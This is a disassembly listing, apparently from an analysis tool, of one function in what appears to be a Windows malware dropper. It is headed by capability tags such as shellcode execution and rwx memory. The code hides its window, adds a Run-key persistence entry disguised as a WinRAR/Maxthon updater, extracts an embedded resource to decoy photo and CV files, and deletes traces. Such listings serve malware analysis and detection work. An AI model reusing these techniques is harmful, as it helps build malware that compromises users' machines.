Function at 0x40b5c0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create thread
Delete file
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get file attributes
Hide graphical window
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41300a
mov eax, dword fs:[0]
push eax
mov eax, 0x42c4
call fcn.00411780
mov eax, dword [0x41b014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x5f5e100
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x40ceeb
push 0x5f5e100
push 0
push esi
call sub.VCRUNTIME140.dll_memset
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0x10
push 0
push 0x40
push 0x3000
push 0x3e8
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test eax, eax
je 0x40ceeb
mov eax, dword [0x41ba30]
test eax, eax
jne 0x40b68a
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov dword [ebp - 4], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov dword [ebp - 4], 0xffffffff
mov dword [0x41ba30], eax
push 0x2af
push dword [eax + 0x92c]
lea eax, [ebp - 0x1da0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncat]
lea eax, [ebp - 0x1da0]
push 0x2af
push str.WinRARdpinst64.exe
push eax
call edi
mov ecx, esp
mov dword [ebp - 0x4290], esp
push 0x10
push str.MaxthonUpdateSvc
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0040f0c0
sub esp, 0x18
mov dword [ebp - 4], 1
mov ecx, esp
push 0x10
push str.MaxthonUpdateSvc
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.0040f0c0
lea eax, [ebp - 0x1da0]
mov dword [ebp - 4], 0xffffffff
push eax
call fcn.004040b0
push ecx
call fcn.004042f0
mov esi, dword [0x41ba6c]
test esi, esi
jne 0x40b771
push 0x600
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x600
push 0
push esi
mov dword [ebp - 4], 4
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00401d40
mov esi, eax
mov dword [ebp - 4], 0xffffffff
mov dword [0x41ba6c], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
mov dword [esi + 0x54], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 1
call fcn.0040a270
push 7
push 0x414d1c
lea ecx, [ebp - 0x41f8]
mov dword [ebp - 0x41f8], 0
mov dword [ebp - 0x41e8], 0
mov dword [ebp - 0x41e4], 0xf
call fcn.0040f0c0
mov edx, dword [ebp - 0x41e4]
cmp edx, 0x10
jb 0x40b7f9
mov ecx, dword [ebp - 0x41f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b7ef
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b7ef
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
mov eax, dword [0x41ba30]
test eax, eax
jne 0x40b83e
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov dword [ebp - 4], 5
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov dword [ebp - 4], 0xffffffff
mov dword [0x41ba30], eax
push 0x2af
push dword [eax + 0x92c]
lea eax, [ebp - 0x2050]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x2af
lea eax, [ebp - 0x2050]
push 0x414e20
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40b8b1
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov dword [ebp - 4], 6
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov dword [ebp - 4], 0xffffffff
mov dword [0x41ba30], eax
push 0x2af
push dword [eax + 0x92c]
lea eax, [ebp - 0x3070]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x2af
lea eax, [ebp - 0x3070]
push str.WinRARdpinst64.exe
push eax
call edi
add esp, 0x18
lea eax, [ebp - 0x41e0]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x41ba68]
test eax, eax
jne 0x40b91d
push 0x1c
call fcn.00410a36
xorps xmm0, xmm0
mov dword [0x41ba68], eax
add esp, 4
movups xmmword [eax], xmm0
movq qword [eax + 0x10], xmm0
mov dword [eax + 0x18], 0
lea ecx, [ebp - 0x2050]
mov dword [eax], ecx
lea ecx, [ebp - 0x1da0]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x41e0]
mov dword [eax + 8], ecx
mov ecx, eax
mov dword [eax + 0xc], str.SOFTWAREMicrosoftWindowsCurrentVersion_run
mov dword [eax + 0x10], 0x414dac
mov dword [eax + 0x18], str.dpinst64.exe
call fcn.004058d0
cmp eax, 1
jne 0x40c3ac
mov eax, dword [0x41ba30]
test eax, eax
jne 0x40b9a1
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov dword [ebp - 4], 7
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov dword [ebp - 4], 0xffffffff
mov dword [0x41ba30], eax
add eax, 0x6c9
push 0x2af
push eax
lea eax, [ebp - 0x570]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x2af
lea eax, [ebp - 0x570]
push str.Users_
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40ba14
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov dword [ebp - 4], 8
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov dword [ebp - 4], 0xffffffff
mov dword [0x41ba30], eax
add eax, 0x860
cmp dword [eax + 0x14], 0x10
jb 0x40ba21
mov eax, dword [eax]
push 0x2af
push eax
lea eax, [ebp - 0x570]
push eax
call edi
push 0x2af
lea eax, [ebp - 0x570]
push str.AppDataLocalTemp_system.log
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40ba8b
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov dword [ebp - 4], 9
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov dword [ebp - 4], 0xffffffff
mov dword [0x41ba30], eax
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
add eax, 0x6c9
push 0x2af
push eax
lea eax, [ebp - 0x2c0]
push eax
call esi
push 0x2af
lea eax, [ebp - 0x2c0]
push str.Users_
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40bb06
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov dword [ebp - 4], 0xa
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov dword [ebp - 4], 0xffffffff
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov dword [0x41ba30], eax
add eax, 0x860
cmp dword [eax + 0x14], 0x10
jb 0x40bb13
mov eax, dword [eax]
push 0x2af
push eax
lea eax, [ebp - 0x2c0]
push eax
call edi
push 0x2af
lea eax, [ebp - 0x2c0]
push str.Downloads_auto_foto
push eax
call edi
push 0x2af
lea eax, [ebp - 0x2c0]
push eax
lea eax, [ebp - 0x3320]
push eax
call esi
push 0x2af
lea eax, [ebp - 0x3320]
push str.jana.jpg
push eax
call edi
push 0x2af
lea eax, [ebp - 0x2c0]
push eax
lea eax, [ebp - 0x35d0]
push eax
call esi
push 0x2af
lea eax, [ebp - 0x35d0]
push str.eva.jpg
push eax
call edi
add esp, 0x48
lea eax, [ebp - 0x2c0]
push 0x2af
push eax
lea eax, [ebp - 0x3880]
push eax
call esi
push 0x2af
lea eax, [ebp - 0x3880]
push str._natalia.jpg
push eax
call edi
push 0x2af
lea eax, [ebp - 0x2c0]
push eax
lea eax, [ebp - 0x3b30]
push eax
call esi
push 0x2af
lea eax, [ebp - 0x3b30]
push str.chyba.jpg
push eax
call edi
push 0x2af
lea eax, [ebp - 0x2c0]
push eax
lea eax, [ebp - 0x3de0]
push eax
call esi
push 0x2af
lea eax, [ebp - 0x3de0]
push str.Bergendiova_cv.pdf
push eax
call edi
add esp, 0x48
lea eax, [ebp - 0x2c0]
push 0x2af
push eax
lea eax, [ebp - 0x1af0]
push eax
call esi
push 0x2af
lea eax, [ebp - 0x1af0]
push str.BMW_1.jpeg
push eax
call edi
push 0x2af
lea eax, [ebp - 0x2c0]
push eax
lea eax, [ebp - 0x1840]
push eax
call esi
push 0x2af
lea eax, [ebp - 0x1840]
push str.BMW_2.jpeg
push eax
call edi
push 0x2af
lea eax, [ebp - 0x2c0]
push eax
lea eax, [ebp - 0x1590]
push eax
call esi
push 0x2af
lea eax, [ebp - 0x1590]
push str.BMW_3.jpeg
push eax
call edi
lea ecx, [ebp - 0x570]
mov dword [ebp - 0x41f8], 0
add esp, 0x48
mov dword [ebp - 0x41e8], 0
mov dword [ebp - 0x41e4], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x41f8], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bcb0
sub ecx, edx
lea eax, [ebp - 0x570]
push ecx
push eax
lea ecx, [ebp - 0x41f8]
call fcn.0040f0c0
mov dword [ebp - 4], 0xb
cmp dword [0x41ba6c], 0
jne 0x40bd0e
push 0x600
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x600
push 0
push esi
mov byte [ebp - 4], 0xc
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00401d40
mov dword [0x41ba6c], eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x41f8]
cmp dword [ebp - 0x41e4], 0x10
cmovae eax, dword [ebp - 0x41f8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x40bd7a
call edi
cmp eax, 2
jne 0x40bd7a
mov edx, dword [ebp - 0x41e4]
cmp edx, 0x10
jb 0x40bdc3
mov ecx, dword [ebp - 0x41f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bd6e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bda6
push edx
push ecx
call fcn.00410dcc
add esp, 8
jmp 0x40bdc3
mov edx, dword [ebp - 0x41e4]
cmp edx, 0x10
jb 0x40bdb6
mov ecx, dword [ebp - 0x41f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bdac
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40bdac
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
lea eax, [ebp - 0x570]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.DIALL_APPS
push 0x6a
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x4290], eax
test eax, eax
je 0x40be30
push eax
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x429c], eax
test eax, eax
je 0x40be30
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push dword [ebp - 0x4290]
mov esi, eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov ecx, esi
call fcn.00401510
push dword [ebp - 0x429c]
call dword [sym.imp.KERNEL32.dll_FreeResource]
nop
lea eax, [ebp - 0x570]
mov dword [ebp - 0x41f8], 0
mov dword [ebp - 0x41e8], 0
lea edx, [eax + 1]
mov dword [ebp - 0x41e4], 0xf
mov byte [ebp - 0x41f8], 0
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40be60
sub eax, edx
lea ecx, [ebp - 0x41f8]
push eax
lea eax, [ebp - 0x570]
push eax
call fcn.0040f0c0
mov dword [ebp - 4], 0xd
cmp dword [0x41ba6c], 0
jne 0x40bebe
push 0x600
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x600
push 0
push esi
mov byte [ebp - 4], 0xe
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00401d40
mov dword [0x41ba6c], eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x41f8]
cmp dword [ebp - 0x41e4], 0x10
cmovae eax, dword [ebp - 0x41f8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40bf32
call edi
cmp eax, 2
jne 0x40bf32
mov edx, dword [ebp - 0x41e4]
cmp edx, 0x10
jb 0x40bf22
mov ecx, dword [ebp - 0x41f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bf18
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bf5e
push edx
push ecx
call fcn.00410dcc
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40be30
mov edx, dword [ebp - 0x41e4]
cmp edx, 0x10
jb 0x40bf6e
mov ecx, dword [ebp - 0x41f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bf64
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40bf64
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
sub esp, 0x18
lea ecx, [ebp - 0x2c0]
mov edx, esp
mov dword [ebp - 0x4290], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bf96
sub ecx, esi
lea eax, [ebp - 0x2c0]
push ecx
push eax
mov ecx, edx
call fcn.0040f0c0
mov dword [ebp - 4], 0xf
mov eax, dword [0x41ba6c]
test eax, eax
jne 0x40bff4
push 0x600
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x429c], esi
push 0x600
push 0
push esi
mov byte [ebp - 4], 0x10
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00401d40
mov byte [ebp - 4], 0xf
mov dword [0x41ba6c], eax
mov ecx, eax
mov dword [ebp - 4], 0xffffffff
call fcn.00402450
sub esp, 0x18
lea ecx, [ebp - 0x1af0]
mov edx, esp
mov dword [ebp - 0x4290], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c030
sub ecx, esi
lea eax, [ebp - 0x1af0]
push ecx
push eax
mov ecx, edx
call fcn.0040f0c0
mov dword [ebp - 4], 0x11
call fcn.00404590
mov ecx, eax
mov dword [ebp - 4], 0xffffffff
call fcn.004046f0
sub esp, 0x18
mov dword [ebp - 0x42a4], eax
mov edx, esp
mov dword [ebp - 0x4290], esp
lea ecx, [ebp - 0x1840]
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c090
sub ecx, esi
lea eax, [ebp - 0x1840]
push ecx
push eax
mov ecx, edx
call fcn.0040f0c0
mov dword [ebp - 4], 0x12
call fcn.00404590
mov ecx, eax
mov dword [ebp - 4], 0xffffffff
call fcn.004046f0
sub esp, 0x18
mov dword [ebp - 0x4294], eax
mov edx, esp
mov dword [ebp - 0x4290], esp
lea ecx, [ebp - 0x1590]
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c0f0
sub ecx, esi
lea eax, [ebp - 0x1590]
push ecx
push eax
mov ecx, edx
call fcn.0040f0c0
mov dword [ebp - 4], 0x13
call fcn.00404590
mov ecx, eax
mov dword [ebp - 4], 0xffffffff
call fcn.004046f0
mov dword [ebp - 0x42a0], eax
mov eax, dword [0x41ba6c]
test eax, eax
jne 0x40c16d
push 0x600
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x600
push 0
push esi
mov dword [ebp - 4], 0x14
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00401d40
mov dword [ebp - 4], 0xffffffff
mov dword [0x41ba6c], eax
push ecx
push dword [ebp - 0x42a4]
push ecx
push 0x6d
mov ecx, eax
call fcn.00401fe0
mov eax, dword [0x41ba6c]
test eax, eax
jne 0x40c1c3
push 0x600
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x600
push 0
push esi
mov dword [ebp - 4], 0x15
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00401d40
mov dword [ebp - 4], 0xffffffff
mov dword [0x41ba6c], eax
push ecx
push dword [ebp - 0x4294]
push ecx
push 0x6e
mov ecx, eax
call fcn.00401fe0
mov eax, dword [0x41ba6c]
test eax, eax
jne 0x40c219
push 0x600
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x600
push 0
push esi
mov dword [ebp - 4], 0x16
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00401d40
mov dword [ebp - 4], 0xffffffff
mov dword [0x41ba6c], eax
mov esi, dword [ebp - 0x42a0]
push ecx
push esi
push ecx
push 0x6f
mov ecx, eax
call fcn.00401fe0
lea ecx, [ebp - 0x570]
mov dword [ebp - 0x41f8], 0
mov dword [ebp - 0x41e8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x41e4], 0xf
mov byte [ebp - 0x41f8], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c260
sub ecx, edx
lea eax, [ebp - 0x570]
push ecx
push eax
lea ecx, [ebp - 0x41f8]
call fcn.0040f0c0
mov dword [ebp - 4], 0x17
cmp dword [0x41ba6c], 0
jne 0x40c2c4
push 0x600
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x600
push 0
push esi
mov byte [ebp - 4], 0x18
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00401d40
mov esi, dword [ebp - 0x42a0]
mov dword [0x41ba6c], eax
cmp dword [ebp - 0x41e4], 0x10
lea eax, [ebp - 0x41f8]
cmovae eax, dword [ebp - 0x41f8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40c323
call edi
cmp eax, 2
jne 0x40c323
mov edx, dword [ebp - 0x41e4]
cmp edx, 0x10
jb 0x40c36c
mov ecx, dword [ebp - 0x41f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c317
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c34f
push edx
push ecx
call fcn.00410dcc
add esp, 8
jmp 0x40c36c
mov edx, dword [ebp - 0x41e4]
cmp edx, 0x10
jb 0x40c35f
mov ecx, dword [ebp - 0x41f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c355
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40c355
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
lea eax, [ebp - 0x570]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0x42a4]
call fcn.00410a31
push dword [ebp - 0x4294]
call fcn.00410a31
push esi
call fcn.00410a31
add esp, 0xc
lea ecx, [ebp - 0x2c0]
push 1
push 0
push 0
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, 1
jmp 0x40ceed
push 0xc
mov dword [ebp - 0x41f8], 0
lea ecx, [ebp - 0x41f8]
push str.dpinst64.exe
mov dword [ebp - 0x41e8], 0
mov dword [ebp - 0x41e4], 0xf
mov byte [ebp - 0x41f8], 0
call fcn.0040f0c0
mov dword [ebp - 4], 0x19
call fcn.00404590
lea eax, [ebp - 0x41f8]
push eax
lea eax, [ebp - 0x42d0]
push eax
call fcn.004047b0
cmp dword [eax + 0x14], 8
jb 0x40c40a
mov eax, dword [eax]
push eax
call fcn.00403d70
mov edx, dword [ebp - 0x42bc]
cmp eax, 2
setg byte [ebp - 0x4295]
cmp edx, 8
jb 0x40c456
mov ecx, dword [ebp - 0x42d0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40c44c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c4a6
push edx
push ecx
call fcn.00410dcc
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x41e4]
mov dword [ebp - 0x42c0], 0
mov dword [ebp - 0x42bc], 7
mov word [ebp - 0x42d0], ax
cmp edx, 0x10
jb 0x40c4b6
mov ecx, dword [ebp - 0x41f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c4ac
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40c4ac
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00410dcc
add esp, 8
cmp byte [ebp - 0x4295], 0
jne 0x40c3a2
push 0x68
lea eax, [ebp - 0x428c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x428c]
call fcn.004060b0
mov dword [ebp - 4], 0x1a
mov esi, dword [0x41ba30]
mov dword [ebp - 0x4294], esi
test esi, esi
jne 0x40c537
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x1b
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov esi, eax
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x4294], esi
mov dword [0x41ba30], esi
mov ecx, dword [esi + 0x92c]
lea edx, [ebp - 0x2300]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx], al
lea edx, [edx + 1]
test al, al
jne 0x40c543
lea ecx, [ebp - 0x2300]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x40c558
mov eax, dword [str.WinRARupdate]
lea edx, [ebp - 0x25b0]
mov dword [ecx], eax
mov eax, dword [0x414f08]
mov dword [ecx + 4], eax
mov eax, dword [0x414f0c]
mov dword [ecx + 8], eax
mov ax, word [0x414f10]
mov word [ecx + 0xc], ax
mov al, byte [0x414f12]
mov byte [ecx + 0xe], al
mov ecx, dword [esi + 0x92c]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx], al
lea edx, [edx + 1]
test al, al
jne 0x40c597
lea edi, [ebp - 0x25b0]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40c5b0
mov eax, dword [ebp - 0x4294]
mov ecx, 6
mov esi, str.WinRARupdateupdates.dat
rep movsd dword es:[edi], dword [esi]
push 0x2af
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push dword [eax + 0x92c]
lea eax, [ebp - 0x2860]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncat]
lea eax, [ebp - 0x2860]
push 0x2af
push str.WinRARupdate
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40c640
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x1e
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov byte [ebp - 4], 0x1a
mov dword [0x41ba30], eax
push 0x2af
push dword [eax + 0x92c]
lea eax, [ebp - 0x2b10]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x2af
lea eax, [ebp - 0x2b10]
push str.WinRARupdatedata.dat
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40c6ad
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x1f
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov byte [ebp - 4], 0x1a
mov dword [0x41ba30], eax
push 0x2af
push dword [eax + 0x92c]
lea eax, [ebp - 0x2dc0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x2af
lea eax, [ebp - 0x2dc0]
push str.WinRARupdate
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40c71a
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x20
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov byte [ebp - 4], 0x1a
mov dword [0x41ba30], eax
push 0x2af
push dword [eax + 0x92c]
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x2af
lea eax, [ebp - 0x820]
push str.WinRARupdate_systemcache.data
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40c787
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x21
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov byte [ebp - 4], 0x1a
mov dword [0x41ba30], eax
add eax, 0x6c9
push 0x2af
push eax
lea eax, [ebp - 0x1030]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x2af
lea eax, [ebp - 0x1030]
push str.Users_
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40c7f4
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x22
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov byte [ebp - 4], 0x1a
mov dword [0x41ba30], eax
add eax, 0x860
cmp dword [eax + 0x14], 0x10
jb 0x40c801
mov eax, dword [eax]
push 0x2af
push eax
lea eax, [ebp - 0x1030]
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x428c]
push 0x2af
call fcn.00406c50
push eax
lea eax, [ebp - 0x1030]
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0xc
test eax, eax
jne 0x40c86f
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x23
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov byte [ebp - 4], 0x1a
mov dword [0x41ba30], eax
add eax, 0x6c9
push 0x2af
push eax
lea eax, [ebp - 0xd80]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x2af
lea eax, [ebp - 0xd80]
push str.Users_
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40c8dc
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x24
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov byte [ebp - 4], 0x1a
